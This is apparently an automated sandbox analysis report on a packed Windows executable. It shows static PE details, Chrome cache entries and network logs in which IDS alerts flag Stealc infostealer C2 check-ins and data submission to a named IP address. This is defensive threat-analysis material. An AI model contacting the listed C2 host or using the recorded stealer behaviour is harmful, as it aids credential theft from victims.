Preview:	)]}'.["",["carabao cup highlights manchester united","microstrategy bitcoin","disney plus deadpool wolverine","mystery manor monopoly go rewards","abdulrashid sadulaev vs david taylor","tyler the creator chromakopia album","jaywalking nyc law","frisch\u0027s big boys evictions"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133762
Entropy (8bit):	5.436706308533753
Encrypted:	false
SSDEEP:	3072:2P5vjxd0QniyZ+qQf4VBNQ0pqjvx7U+OUaKszQ:E5vv0yTVBNQ0pkvxI+ORQ
MD5:	287E0FB649F6671D5B019DD3D0AFE6B3
SHA1:	A593B71EC906DBAF95B5605AF5AAA85F5A089C4F
SHA-256:	A61C2FE25BF7B4284BDA823B4B94457F6C6D991C292D255ED0FAC99807F8C112
SHA-512:	00B6E67B38E6048FA82BF00A765FDDF740716E4941B368E792849CDF13B5767348F6EE488A46F76176FD283722792EAF48B8279BB21386CF5C2CFB79312B31A8
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Od\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_jd gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9610360119010695
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'159'616 bytes
MD5:	960b155ce99ae2a9f450c54ad39b1960
SHA1:	e14e7fc9aae50a834a7c4d5549668c6d4fd6289c
SHA256:	b3cce25ca20d9598ae3672657a5f0c2492376a9a2ecce5e237095e2fc711b062
SHA512:	03722e2d54e823c2df72454a84af01ec72f95ecd7558c198ec60a5075449ed5fc7de7be578b4e02b21ac16a018edb5c07c3ba0d76a586074047c84ec613a4c10
SSDEEP:	49152:e4r2aBsti7wuLD+hFWLYwvlGlDV1pllOXTIFxxMKcjDHqItX:e4r28sDuLD+i0wlyVDOXkfyt
TLSH:	F8A533D335365123E5D8E839B99F4482AAA0FF6E65D9C3F30385B0252B2762F3713619
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g...

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xb3b000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671E6E38 [Sun Oct 27 16:45:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F2BD86BB94Ah
psrld mm4, qword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx+03h], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
jnle 00007F2BD86BB8C2h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
jno 00007F2BD86BB944h
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e9050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e91f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x2e7000	0x67600	05318e72d6adba09145447f78c823b10	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e8000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2e9000	0x1000	0x200	049071433b9f7c843453337b0fd53002	False	0.1328125	data	0.8946074494647072	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x2ea000	0x2ab000	0x200	f9f33549d39bbad667ce150693191660	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qxdrkcos	0x595000	0x1a5000	0x1a4400	243a745a8d5456305db1f225436f1081	False	0.9950474745315289	data	7.954956348500757	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
wzocpzen	0x73a000	0x1000	0x400	9d06a0c96a9d8a0153b4bb954740c935	False	0.7060546875	data	5.615695185989335	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x73b000	0x3000	0x2200	d2217868edeefa62e2999a22cf77f640	False	0.0681295955882353	DOS executable (COM)	0.7824603722614013	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-31T07:14:05.075178+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-31T07:14:05.355602+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-31T07:14:05.361711+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	49730	TCP
2024-10-31T07:14:05.635415+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-31T07:14:05.855252+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	49730	TCP
2024-10-31T07:14:06.941960+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-31T07:14:07.464349+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-31T07:14:25.636152+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-31T07:14:28.987059+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-31T07:14:30.950602+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-31T07:14:32.036383+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-31T07:14:34.299601+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-31T07:14:34.863260+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49758	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 31, 2024 07:13:55.810611010 CET	49675	443	192.168.2.4	173.222.162.32
Oct 31, 2024 07:14:03.867136002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:03.873076916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:03.873156071 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:03.873341084 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:03.878106117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:04.781307936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:04.781482935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:04.783804893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:04.788645029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:05.075016975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:05.075177908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:05.076299906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:05.081918001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:05.355537891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:05.355555058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:05.355602026 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:05.355616093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:05.356908083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:05.361711025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:05.419967890 CET	49675	443	192.168.2.4	173.222.162.32
Oct 31, 2024 07:14:05.635335922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:05.635356903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:05.635368109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:05.635377884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:05.635387897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:05.635415077 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:05.635425091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:05.635436058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:05.635446072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:05.635493040 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:05.662082911 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:05.855252028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:06.128104925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:06.128205061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:06.145855904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:06.145905018 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:06.150651932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:06.150867939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:06.150876999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:06.150886059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:06.150985956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:06.151041031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:06.151094913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:06.941895962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:06.941960096 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.188201904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.193442106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.464231014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.464242935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.464349031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.464375019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.464386940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.464400053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.464411974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.464452982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.464468002 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.464472055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.464545012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.465137005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.465178967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.465250015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.465262890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.465275049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.465290070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.465320110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.465632915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.465689898 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.465718985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.465766907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.616455078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.616503000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.616513968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.616524935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.616549015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.616586924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.616727114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.616738081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.616748095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.616775990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.616795063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.617135048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.617146015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.617156982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.617166042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.617182970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.617217064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.617641926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.617652893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.617664099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.617702007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.617732048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.735307932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.735327959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.735344887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.735356092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.735363007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.735373020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.735397100 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.735455990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.735625029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.735662937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.735675097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.735676050 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.735704899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.735728025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.735733032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.735743999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.735753059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.735780954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.735805988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.768389940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.768399954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.768457890 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.853566885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.853588104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.853598118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.853641987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.853662968 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.853739023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.853799105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.853809118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.853817940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.853919983 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.854279995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.854332924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.854348898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.854360104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.854371071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.854399920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.854429007 CET	49730	80	192.168.2.4	185.215.113.206
